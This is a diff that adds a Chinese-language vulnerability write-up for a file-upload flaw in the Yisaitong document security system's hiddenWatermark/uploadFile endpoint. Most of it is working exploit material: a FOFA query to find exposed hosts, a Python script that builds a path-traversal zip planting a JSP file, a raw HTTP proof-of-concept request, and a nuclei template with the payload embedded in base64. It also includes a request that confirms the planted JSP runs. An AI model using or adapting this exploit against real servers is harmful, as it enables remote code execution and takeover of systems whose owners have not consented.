diff --git a/亿赛通电子文档安全管理系统hiddenWatermark文件上传漏洞.md b/亿赛通电子文档安全管理系统hiddenWatermark文件上传漏洞.md
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+## 亿赛通电子文档安全管理系统hiddenWatermark文件上传漏洞
+
+亿某通电子文档安全管理系统 hiddenWatermark/uploadFile接口处存在文件上传漏洞，恶意攻击者可能上传恶意文件进而获取服务器的控制权限
+
+## fofa
+```
+app="亿赛通电子文档安全管理系统"
+```
+
+## 使用py文件构造压缩包脚本
+```python
+import zipfile
+ 
+def tests(evil_file_name, zip_data):
+    with zipfile.ZipFile(evil_file_name, 'w') as zip_file:
+        for key, value in zip_data.items():
+            print("Key:", key)
+ 
+            # 重命名文件
+            zip_info = zipfile.ZipInfo(key)
+            zip_info.compress_type = zipfile.ZIP_DEFLATED
+            zip_file.writestr(zip_info, value)
+ 
+# 定义 zipData 字典
+zip_data = {
+    "../../../js/ceshi.jsp": "<%\n out.println(\"Hello World!\");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>",
+    "theme/theme/theme1.xml": "<!--{\"FileName\":\"aaa\",\"FileSize\":\"222\",\"UserName\":\"aa\",\"Department\":\"aa\",\"UserID\":\"aa\",\"time\":\"123\"}-->"
+}
+ 
+try:
+    tests("ceshi.zip", zip_data)
+except Exception as e:
+    print(e)
+```
+
+## poc
+```
+POST /CDGServer3/hiddenWatermark/uploadFile HTTP/1.1
+Host: 127.0.0.1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
+like Gecko) Chrome/120.0.0.0 Safari/537.36
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lm0J8uEuFHxy191
+Accept:
+text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
+*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+Connection: close
+ 
+------WebKitFormBoundary3lm0J8uEuFHxy191
+Content-Disposition: form-data; name="doc"; filename="ceshi.zip"
+Content-Type: application/zip
+ 
+{{file(压缩包文件路径)}}
+------WebKitFormBoundary3lm0J8uEuFHxy191--
+```
+
+![3c04d6758ef8a4ed73dc917e054bfb8f](https://github.com/wy876/POC/assets/139549762/6f1b065b-3681-450c-808d-1697f494100e)
+
+## nuclei
+```
+
+id: CDG-hiddenWatermark-uploadFile-uploadfile
+
+info:
+  name: 亿某通电子文档安全管理系统 hiddenWatermark/uploadFile接口处存在文件上传漏洞 攻击者可通过该漏洞在服务器端任意执行代码 写入后门， 获取服务器权限 进而控制整个 web 服务器
+  author: WLF
+  severity: high
+  metadata: 
+    fofa-query: body="/CDGServer3/index.jsp"
+variables:
+  filename: "{{to_lower(rand_base(10))}}"
+  boundary: "{{to_lower(rand_base(20))}}"
+http:
+  - raw:
+      - |
+        POST /CDGServer3/hiddenWatermark/uploadFile HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lm0J8uEuFHxy191
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+        Content-Length: 0
+
+        ------WebKitFormBoundary3lm0J8uEuFHxy191
+        Content-Disposition: form-data; name="doc"; filename="{{filename}}.zip"
+        Content-Type: application/zip
+        
+        {{base64_decode("UEsDBBQAAAAIAAAAIQD5T26PZgAAAHAAAAAVAAAALi4vLi4vLi4vanMvY2VzaGkuanNwHcgxDsIwDAXQnVOESpXixRcoYkSMCAZmq/0CIysOqVuuD2V879Dvki/BtWkJK7k7w8zT3ZtN+46Ggk96ySqszic1ZKnVdJRQL/xAXCF2kXjmhveCOba7oa2G+DcR8YSfkGlI/fELUEsDBBQAAAAIAAAAIQDGTjiHSQAAAGcAAAAWAAAAdGhlbWUvdGhlbWUvdGhlbWUxLnhtbLNR1NWtVnLLzEn1S8xNVbJSSkxMVNIBCwRnVoEEjIyMgAKhxalFcBVAvktqQWJRSW5qXglMBKTC0wXGK8kEqzU0Mlaq1dW1AwBQSwECFAAUAAAACAAAACEA+U9uj2YAAABwAAAAFQAAAAAAAAAAAAAAgAEAAAAALi4vLi4vLi4vanMvY2VzaGkuanNwUEsBAhQAFAAAAAgAAAAhAMZOOIdJAAAAZwAAABYAAAAAAAAAAAAAAIABmQAAAHRoZW1lL3RoZW1lL3RoZW1lMS54bWxQSwUGAAAAAAIAAgCHAAAAFgEAAAAA")}}
+        ------WebKitFormBoundary3lm0J8uEuFHxy191--
+        
+
+      - |
+        GET /CDGServer3/js/ceshi.jsp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
+
+    matchers:
+      - type: dsl
+        dsl:
+          - status_code==200 && contains_all(body,"Hello World!")
+```